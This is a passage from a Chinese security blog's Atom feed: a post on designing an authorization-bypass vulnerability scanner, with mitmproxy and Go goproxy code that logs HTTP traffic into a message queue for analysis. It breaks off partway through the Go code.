<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>pirogue</title>
  
  <subtitle>你曾听过一个地方，到达之时我们将拥有一切吗？</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="http://pirogue.org/"/>
  <updated>2020-12-14T15:10:53.742Z</updated>
  <id>http://pirogue.org/</id>
  
  <author>
    <name>pirogue</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>越权扫描器碎碎念</title>
    <link href="http://pirogue.org/2020/12/14/bacscanner/"/>
    <id>http://pirogue.org/2020/12/14/bacscanner/</id>
    <published>2020-12-14T08:27:15.000Z</published>
    <updated>2020-12-14T15:10:53.742Z</updated>
    
    <content type="html"><![CDATA[<h2 id="碎碎念"><a href="#碎碎念" class="headerlink" title="碎碎念"></a>碎碎念</h2><p>距离写这个小轮子已经过去半年多了，希望记录下来作为自己路上的一个沉淀，在行业里有人再次提起“越权扫描器”时能有一个从前端到后端、从代理到消费、从设计到使用的感性参考。</p><h2 id="为什么要做这个东西？"><a href="#为什么要做这个东西？" class="headerlink" title="为什么要做这个东西？"></a>为什么要做这个东西？</h2><ol><li><p>因为个人认为IAST、DAST方向的安全产品主要解决了OWASP Top 10中传统的具备可规则化的安全漏洞，比如sql注入、xss、rce等；而越权漏洞本质上可以归结为“逻辑”漏洞，逻辑类型的漏洞想要通过传统的扫描器捕获，从技术原理上来说是比较难的。比如一个功能从提出需求、评审到研发、测试、上线，每个人对它的理解都是不同的，可能研发三天不看这个代码都会忘记这个功能具体做了什么事情，指望一个不具备“智慧”大脑的扫描器理解它，并找到漏洞更是不可能的，甚至这个产品功能本身就是一个逻辑错误（类似于伪需求）。</p></li><li><p>在成熟的互联网企业，统一的公共服务，标准的研发规范，成熟的自动化流水线，再加上代码框架正逐渐步入内生安全，这一切使得传统的Web应用安全漏洞在可视范围内会越来越少。而越权漏洞可能因为研发忘记对某个参数做逻辑或归属校验，漏洞发生的限制条件很低，而造成的危害可能是极大的。</p></li></ol><p>通俗点讲就是自动化难检测、易发生、高危害，但我们可以力所能及自动化一部分“水平”或“垂直”越权漏洞。</p><h2 id="产品设计"><a href="#产品设计" class="headerlink" title="产品设计"></a>产品设计</h2><p><img src="/2020/12/14/bacscanner/bacscanner.jpeg" alt="bacscanner"><br><img src="/2020/12/14/bacscanner/art.jpg" alt="bacscanner"><br><img src="/2020/12/14/bacscanner/design.jpg" alt="bacscanner"></p><h3 id="代理"><a href="#代理" class="headerlink" title="代理"></a>代理</h3><p>谈到自动化，就少不了数据源的自动获取，比较常见的形式就是代理作为日志的生产者。市面上这么多类型的代理我们应该选择哪种既能满足高性能又能满足https的请求、响应体的全部呢？</p><h4 id="MitmProxy"><a href="#MitmProxy" class="headerlink" title="MitmProxy"></a>MitmProxy</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">import</span> mitmproxy.http</span><br><span class="line"><span class="keyword">from</span> mitmproxy <span class="keyword">import</span> ctx, http</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ProxyScan</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">request</span><span class="params">(self, flow: mitmproxy.http.HTTPFlow)</span>-&gt; <span class="keyword">None</span>:</span></span><br><span class="line">        print(<span class="string">'--------------------'</span>)</span><br><span class="line">        print(flow.request.host)</span><br><span class="line">        print(flow.request.url)</span><br><span class="line">        print(flow.request.headers)</span><br><span class="line">        print(flow.request.get_text())</span><br><span class="line">        print(flow.request.get_content())</span><br><span class="line">        print(flow.request.raw_content)</span><br><span class="line">        <span class="comment"># print(flow.request.path_components)</span></span><br><span class="line">        print(<span class="string">'--------------------'</span>)</span><br><span class="line"></span><br><span class="line">addons = [</span><br><span class="line">    ProxyScan()</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>mitmproxy4是官方维护的最新版本(调研时间2019年)，重构过后的新版本不再向下兼容，更稳定，并发更高。</p><p>但在测试过程中，发现通过burpsuite代理mitmproxy开启200线程并发发包，再通过mitmproxy进行代理浏览网页就会发现打开网页速度变慢。</p><h4 id="Openresty"><a href="#Openresty" class="headerlink" title="Openresty"></a>Openresty</h4><p>跟同行(b5mali4)小明哥交流过程中，他当初落地实践的是openresty代理方案。</p><p>经测试发现，openresty并发非常高，在跟mitmproxy同样的测试条件下，再通过openresty进行代理浏览网页非常流畅。</p><h4 id="Goproxy"><a href="#Goproxy" class="headerlink" title="Goproxy"></a>Goproxy</h4><p>Goproxy地址：<a href="https://github.com/goproxy/goproxy" target="_blank" rel="noopener">https://github.com/goproxy/goproxy</a></p><p>在学习时找到了猪猪侠3年前写的代理工具：<a href="https://github.com/ring04h/wyproxy2，" target="_blank" rel="noopener">https://github.com/ring04h/wyproxy2，</a> 基本上把所需的功能已经都已经实现，只不过它是入库mysql，我们需要将解析后的数据打进“消息队列”。</p><p>在接公司的Mafka消息队列时顺便修正了代码上的一些小问题：</p><blockquote><p>在Go 1.6之前， 内置的map类型是部分goroutine安全的，并发的读没有问题，并发的写可能有问题。自go 1.6之后， 并发地读写map会报错，这在一些知名的开源库中都存在这个问题，所以go 1.9之前的解决方案是额外绑定一个锁，封装成一个新的struct或者单独使用锁都可以。<br>但是到了Go1.9发布，它有了一个新的特性，那就是sync.Map，它是原生支持并发安全的map，不过它的用法和以前我们熟悉的map完全不一样，主要还是因为sync.map封装了更为复杂的数据结构，以实现比之前加锁map更优秀的性能。</p></blockquote><figure class="highlight golang"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"bytes"</span></span><br><span class="line"><span class="string">"encoding/json"</span></span><br><span class="line"><span class="string">"flag"</span></span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"github.com/elazarl/goproxy"</span></span><br><span class="line"><span class="string">"io/ioutil"</span></span><br><span class="line"><span class="string">"log"</span></span><br><span class="line"><span class="string">"net/http"</span></span><br><span class="line"><span class="string">"os"</span></span><br><span class="line"><span class="string">"regexp"</span></span><br><span class="line"><span class="string">"strconv"</span></span><br><span class="line"><span class="string">"strings"</span></span><br><span class="line"><span class="string">"sync"</span></span><br><span class="line"><span class="string">"time"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> (</span><br><span class="line"><span class="comment">// request.Body temp var</span></span><br><span class="line"><span class="comment">// RequestBodyMap = make(map[int64][]byte)</span></span><br><span class="line">RequestBodyMap sync.Map</span><br><span class="line"></span><br><span class="line"><span class="comment">// http static resource file extension</span></span><br><span class="line">static_ext []<span class="keyword">string</span> = []<span class="keyword">string</span>&#123;</span><br><span class="line"><span class="string">"js"</span>,</span><br><span class="line"><span class="string">"css"</span>,</span><br><span class="line"><span class="string">"ico"</span>,</span><br><span class="line"><span class="string">"woff"</span>,</span><br><span class="line"><span class="string">"ttf"</span>,</span><br><span class="line"><span class="string">"map"</span>,</span><br><span class="line"><span class="string">"woff2"</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// media resource files type</span></span><br><span class="line">media_types []<span class="keyword">string</span> = []<span class="keyword">string</span>&#123;</span><br><span class="line"><span class="string">"image"</span>,</span><br><span class="line"><span class="string">"video"</span>,</span><br><span class="line"><span class="string">"audio"</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// http static resource files</span></span><br><span class="line">static_types []<span class="keyword">string</span> = []<span class="keyword">string</span>&#123;</span><br><span class="line"><span class="string">"application/vnd.google.octet-stream-compressible"</span>,</span><br><span class="line"><span class="string">"font/woff"</span>,</span><br><span class="line"><span class="string">"font/woff2"</span>,</span><br><span class="line"><span class="string">"text/css"</span>,</span><br><span class="line"><span class="string">"text/javascript"</span>,</span><br><span class="line"><span class="string">"baiduApp/json"</span>,</span><br><span class="line"><span class="string">"application/javascript"</span>,</span><br><span class="line"><span class="string">"application/x-javascript"</span>,</span><br><span class="line"><span class="string">"application/msword"</span>,</span><br><span class="line"><span class="string">"application/vnd.ms-excel"</span>,</span><br><span class="line"><span class="string">"application/vnd.ms-powerpoint"</span>,</span><br><span class="line"><span class="string">"application/x-ms-wmd"</span>,</span><br><span class="line"><span class="string">"application/x-shockwave-flash"</span>,</span><br><span class="line">&#125;</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">checkErr</span><span class="params">(err error)</span></span> &#123;</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Println(err)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> Response <span class="keyword">struct</span> &#123;</span><br><span class="line">Origin         <span class="keyword">string</span>      <span class="string">`json:"origin"`</span></span><br><span class="line">Method         <span class="keyword">string</span>      <span class="string">`json:"method"`</span></span><br><span class="line">Status         <span class="keyword">int</span>         <span class="string">`json:"status"`</span></span><br><span class="line">ContentType    <span class="keyword">string</span>      <span class="string">`json:"content_type"`</span></span><br><span class="line">ContentLength  <span class="keyword">uint</span>        <span class="string">`json:"content_length"`</span></span><br><span class="line">Host           <span class="keyword">string</span>      <span class="string">`json:"host"`</span></span><br><span class="line">Port           <span class="keyword">string</span>      <span class="string">`json:"port"`</span></span><br><span class="line">URL            <span class="keyword">string</span>      <span class="string">`json:"url"`</span></span><br><span class="line">Scheme         <span class="keyword">string</span>      <span class="string">`json:"scheme"`</span></span><br><span class="line">Path           <span class="keyword">string</span>      <span class="string">`json:"path"`</span></span><br><span class="line">Extension      <span class="keyword">string</span>      <span class="string">`json:"ext"`</span></span><br><span class="line">ResponseHeader http.Header <span class="string">`json:"response_header,omitempty"`</span></span><br><span class="line">ResponseBody   <span class="keyword">string</span>      <span class="string">`json:"response_body,omitempty"`</span></span><br><span class="line">RequestHeader  http.Header <span class="string">`json:"request_header,omitempty"`</span></span><br><span class="line">RequestBody    <span class="keyword">string</span>      <span class="string">`json:"request_body,omitempty"`</span></span><br><span class="line">DateStart      time.Time   <span class="string">`json:"date_start"`</span></span><br><span class="line">DateEnd        time.Time   <span class="string">`json:"date_end"`</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">handleRequest</span><span class="params">(req *http.Request, ctx *goproxy.ProxyCtx)</span> <span class="params">(*http.Request, *http.Response)</span></span> &#123;</span><br><span class="line">reqbody, err := RequestBody(req)</span><br><span class="line">checkErr(err)</span><br><span class="line"><span class="comment">// RequestBodyMap[ctx.Session] = reqbody</span></span><br><span class="line">RequestBodyMap.Store(ctx.Session, reqbody)</span><br><span class="line"><span class="comment">// log.Println(req)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> req, <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//func goHandleRequest()(*http.Request, *http.Response)&#123;</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">RequestBody</span><span class="params">(res *http.Request)</span> <span class="params">([]<span class="keyword">byte</span>, error)</span></span> &#123;</span><br><span class="line"></span><br><span class="line">buf, err := ioutil.ReadAll(res.Body)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line">res.Body = ioutil.NopCloser(bytes.NewReader(buf))</span><br><span class="line"><span class="comment">// log.Printf(string(buf))</span></span><br><span class="line"><span class="keyword">return</span> buf, <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// json.Marshal方法优化，不对html做转义处理</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">MarshalHTML</span><span class="params">(v <span class="keyword">interface</span>&#123;&#125;)</span> <span class="params">([]<span class="keyword">byte</span>, error)</span></span> &#123;</span><br><span class="line"><span class="keyword">var</span> buf bytes.Buffer</span><br><span class="line">enc := json.NewEncoder(&amp;buf)</span><br><span class="line">enc.SetEscapeHTML(<span class="literal">false</span>)</span><br><span class="line">err := enc.Encode(v)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> buf.Bytes(), <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">handleResponse</span><span class="params">(resp *http.Response, ctx *goproxy.ProxyCtx)</span> *<span class="title">http</span>.<span class="title">Response</span></span> &#123;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Getting the Body</span></span><br><span class="line">reqbody, ok := RequestBodyMap.Load(ctx.Session)</span><br><span class="line">RequestBodyMap.Delete(ctx.Session)</span><br><span class="line"><span class="keyword">if</span> ok != <span class="literal">false</span> &amp;&amp; resp != <span class="literal">nil</span> &#123;</span><br><span class="line">respbody, err := ResponseBody(resp)</span><br><span class="line">checkErr(err)</span><br><span class="line"><span class="comment">// Attaching capture tool.</span></span><br><span class="line"><span class="keyword">if</span> respbody != <span class="literal">nil</span> &#123;</span><br><span class="line">RespCapture := New(resp, reqbody.([]<span class="keyword">byte</span>), respbody).Parser()</span><br><span class="line"></span><br><span class="line">static := NewResType(</span><br><span class="line">RespCapture.Extension,</span><br><span class="line">RespCapture.ContentType).isStatic()</span><br><span class="line"><span class="comment">//log.Println(RespCapture)</span></span><br><span class="line"><span class="comment">//tmpRespCapture := RespCapture</span></span><br><span class="line"><span class="keyword">if</span> static != <span class="literal">true</span> &#123;</span><br><span class="line">jsonStr, err := MarshalHTML(RespCapture)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal()</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//fmt.Println(jsonStr)</span></span><br><span class="line"><span class="comment">//SynProducerCase(RespCapture)</span></span><br><span class="line"><span class="keyword">go</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="comment">//f, err := os.OpenFile("./log/scan.log", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0666)</span></span><br><span class="line"><span class="comment">//checkErr(err)</span></span><br><span class="line"><span class="comment">//defer f.Close()</span></span><br><span class="line"><span class="comment">//w := bufio.NewWriter(f)</span></span><br><span class="line"><span class="comment">//w.WriteString(string(jsonStr))</span></span><br><span class="line"><span class="comment">//w.Flush()</span></span><br><span class="line">SynProducerCase(<span class="keyword">string</span>(jsonStr))</span><br><span class="line">&#125;()</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// fmt.Printf("%s\n", jsonStr)</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> resp</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">ResponseBody</span><span class="params">(res *http.Response)</span> <span class="params">([]<span class="keyword">byte</span>, error)</span></span> &#123;</span><br><span class="line"><span class="keyword">if</span> res != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">defer</span> res.Body.Close()</span><br><span class="line">&#125;</span><br><span class="line">buf, err := ioutil.ReadAll(res.Body)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line">res.Body = ioutil.NopCloser(bytes.NewReader(buf))</span><br><span class="line"><span class="keyword">return</span> buf, <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">toJsonHeader</span><span class="params">(header http.Header)</span> <span class="title">string</span></span> &#123;</span><br><span class="line">js, err := json.Marshal(header)</span><br><span class="line">checkErr(err)</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">string</span>(js)</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">New</span><span class="params">(resp *http.Response, reqbody []<span class="keyword">byte</span>, respbody []<span class="keyword">byte</span>)</span> *<span class="title">ParserHTTP</span></span> &#123;</span><br><span class="line"><span class="keyword">return</span> &amp;ParserHTTP&#123;r: resp, reqbody: reqbody, respbody: respbody, s: time.Now()&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">NewResType</span><span class="params">(ext <span class="keyword">string</span>, ctype <span class="keyword">string</span>)</span> *<span class="title">ResType</span></span> &#123;</span><br><span class="line"><span class="keyword">var</span> mtype <span class="keyword">string</span></span><br><span class="line"><span class="keyword">if</span> ctype != <span class="string">""</span> &#123;</span><br><span class="line">mtype = strings.Split(ctype, <span class="string">"/"</span>)[<span class="number">0</span>]</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> &amp;ResType&#123;ext, ctype, mtype&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> ParserHTTP <span class="keyword">struct</span> &#123;</span><br><span class="line">r        *http.Response</span><br><span class="line">reqbody  []<span class="keyword">byte</span></span><br><span class="line">respbody []<span class="keyword">byte</span></span><br><span class="line">s        time.Time</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> ResType <span class="keyword">struct</span> &#123;</span><br><span class="line">ext   <span class="keyword">string</span></span><br><span class="line">ctype <span class="keyword">string</span></span><br><span class="line">mtype <span class="keyword">string</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(parser *ParserHTTP)</span> <span class="title">Parser</span><span class="params">()</span> <span class="title">Response</span></span> &#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> (</span><br><span class="line">ctype   <span class="keyword">string</span></span><br><span class="line">clength <span class="keyword">int</span></span><br><span class="line">StrHost <span class="keyword">string</span></span><br><span class="line">StrPort <span class="keyword">string</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(parser.r.Header[<span class="string">"Content-Type"</span>]) &gt;= <span class="number">1</span> &#123;</span><br><span class="line">ctype = GetContentType(parser.r.Header[<span class="string">"Content-Type"</span>][<span class="number">0</span>])</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(parser.r.Header[<span class="string">"Content-Length"</span>]) &gt;= <span class="number">1</span> &#123;</span><br><span class="line">clength, _ = strconv.Atoi(parser.r.Header[<span class="string">"Content-Length"</span>][<span class="number">0</span>])</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">SliceHost := strings.Split(parser.r.Request.URL.Host, <span class="string">":"</span>)</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(SliceHost) &gt; <span class="number">1</span> &#123;</span><br><span class="line">StrHost, StrPort = SliceHost[<span class="number">0</span>], SliceHost[<span class="number">1</span>]</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">StrHost = SliceHost[<span class="number">0</span>]</span><br><span class="line"><span class="keyword">if</span> parser.r.Request.URL.Scheme == <span class="string">"https"</span> &#123;</span><br><span class="line">StrPort = <span class="string">"443"</span></span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">StrPort = <span class="string">"80"</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">now := time.Now()</span><br><span class="line"></span><br><span class="line">r := Response&#123;</span><br><span class="line">Origin:         parser.r.Request.RemoteAddr,</span><br><span class="line">Method:         parser.r.Request.Method,</span><br><span class="line">Status:         parser.r.StatusCode,</span><br><span class="line">ContentType:    <span class="keyword">string</span>(ctype),</span><br><span class="line">ContentLength:  <span class="keyword">uint</span>(clength),</span><br><span class="line">Host:           StrHost,</span><br><span class="line">Port:           StrPort,</span><br><span class="line">URL:            parser.r.Request.URL.String(),</span><br><span class="line">Scheme:         parser.r.Request.URL.Scheme,</span><br><span class="line">Path:           parser.r.Request.URL.Path,</span><br><span class="line">Extension:      GetExtension(parser.r.Request.URL.Path),</span><br><span class="line">ResponseHeader: parser.r.Header,</span><br><span class="line">ResponseBody:   <span class="keyword">string</span>(parser.respbody),</span><br><span class="line">RequestHeader:  parser.r.Request.Header,</span><br><span class="line">RequestBody:    <span class="keyword">string</span>(parser.reqbody),</span><br><span class="line">DateStart:      parser.s,</span><br><span class="line">DateEnd:        now,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> r</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(r *ResType)</span> <span class="title">isStatic</span><span class="params">()</span> <span class="title">bool</span></span> &#123;</span><br><span class="line"><span class="keyword">if</span> ContainsString(static_ext, r.ext) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span></span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> 